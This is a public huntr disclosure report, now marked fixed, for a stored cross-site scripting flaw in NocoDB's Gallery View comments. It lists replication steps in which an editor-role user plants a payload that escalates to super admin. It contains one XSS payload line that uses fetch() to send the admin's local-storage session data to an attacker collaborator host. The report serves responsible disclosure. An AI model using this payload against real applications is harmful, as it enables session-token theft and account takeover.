huntr

Stored Cross-Site Scripting in nocodb/nocodb

0

✓ Valid Reported on Jun 11th 2022

Description

A stored cross-site scripting vulnerability exists within the Gallery View comments functionality.

Replication Steps and PoC

Preconditions
PC1. A project exists.
PC2. A table with a sheet containing data exists in the project.
PC3. A gallery view exists.
PC4. A user with the editor role exists.

Steps
Step 1: As an authenticated user with the editor role, navigate to the Gallery View for the existing table and sheet.
Step 2: In the new Gallery View, click on a card to edit the record.
Step 3: In a text field, supply the value containing the cross-site scripting payload, as follows:

```
"><img src onerror=fetch('http://dfw2bi08jn24w1j8ift9o1kd3490xp.oastify.com
```

Step 4: Click "Save row".
Step 5: In a new browser session, authenticate to NocoDB as the super admin.
Step 6: As the super admin, browse to the Gallery View, click the card from step two, and then click the icon to view the comments. The XSS is executed in the context of the super admin account.
Step 7: The local storage vuex data is sent to an attacker-controlled server, which can be base64 decoded to retrieve the session token.

The proof-of-concept video demonstrates a user with the editor role exploiting this vulnerability to gain super admin access.

Chat with us

Impact

A lower-privileged user (editor role) can achieve privilege escalation to super admin.

References

- Proof of Concept Video

CVE
CVE-2022-2079
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (7.3)

Registry
Other

Affected Version
0.91.7

Visibility
Public

Status
Fixed

Found by

mz
@mattzajork
unranked

Fixed by

navi
@o1lab
maintainer

This report was seen 538 times.

Chat with us

We are processing your report and will contact the **nocodb** team within 24 hours. 6 months ago

We have contacted a member of the **nocodb** team and are waiting to hear back 5 months ago

navi validated this vulnerability 5 months ago

mz has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

navi marked this as fixed in **0.91.7+** with commit **362f8f** 5 months ago

navi has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

mz 5 months ago Researcher

Fix confirmed, thank you.

> Sign in to join this conversation